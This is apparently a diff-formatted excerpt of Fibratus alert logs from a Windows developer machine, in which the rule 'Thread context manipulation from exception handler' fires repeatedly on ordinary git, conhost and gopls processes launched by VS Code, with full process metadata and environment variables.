+ Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 31 + Pid: 9784 + Tid: 14448 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.5256705 +0100 CET + Params: cmdline➜ git.exe for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 1f2bdf000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f574be080, name➜ git.exe, pid➜ 7952, ppid➜ 9784, real_ppid➜ 9784, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.5256705 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 9784 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 33 + Pid: 8780 + Tid: 6444 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.6213677 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 17e5a5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f574d4080, name➜ git.exe, pid➜ 17372, ppid➜ 8780, real_ppid➜ 8780, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.6213677 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8780 + Ppid: 7636 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 36 + Pid: 8780 + Tid: 6444 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:18.6826759 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 3dab43000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57878080, name➜ git.exe, pid➜ 13608, ppid➜ 8780, real_ppid➜ 8780, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:18.6826759 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8780 + Ppid: 7636 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:20+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 45 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:19.0008303 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" check-ignore -v -z --stdin, directory_table_base➜ 318023000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57844080, name➜ git.exe, pid➜ 6568, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:19.0008303 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:20+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 47 + Pid: 6568 + Tid: 16004 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:19.0087919 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 46cdf6000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57304080, name➜ conhost.exe, pid➜ 4796, ppid➜ 6568, real_ppid➜ 6568, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:19.0087919 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6568 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" check-ignore -v -z --stdin + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" check-ignore -v -z --stdin] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:20+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 49 + Pid: 6568 + Tid: 16004 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:19.0478755 +0100 CET + Params: cmdline➜ git.exe check-ignore -v -z --stdin, directory_table_base➜ 43f75f000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57238080, name➜ git.exe, pid➜ 18112, ppid➜ 6568, real_ppid➜ 6568, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:19.0478755 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6568 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" check-ignore -v -z --stdin + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" check-ignore -v -z --stdin] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:22+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 54 + Pid: 5688 + Tid: 7116 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:20.7855449 +0100 CET + Params: cmdline➜ go mod tidy -modfile=C:\Users\nedo\AppData\Local\Temp\gopls-tempmod2769979310\go.mod, directory_table_base➜ 25dfcf000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Go\bin\go.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f576ed080, name➜ go.exe, pid➜ 6292, ppid➜ 5688, real_ppid➜ 5688, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:20.7855449 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5688 + Ppid: 13296 + Name: gopls.exe + Parent name: Code.exe + Cmdline: C:\Users\nedo\go\bin\gopls.exe + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Users\nedo\go\bin\gopls.exe + Cwd: c:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\Users\nedo\go\bin\gopls.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:10:24+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 57 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:23.7519618 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" config --get commit.template, directory_table_base➜ 45ede5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57396080, name➜ git.exe, pid➜ 8188, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:23.7519618 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY 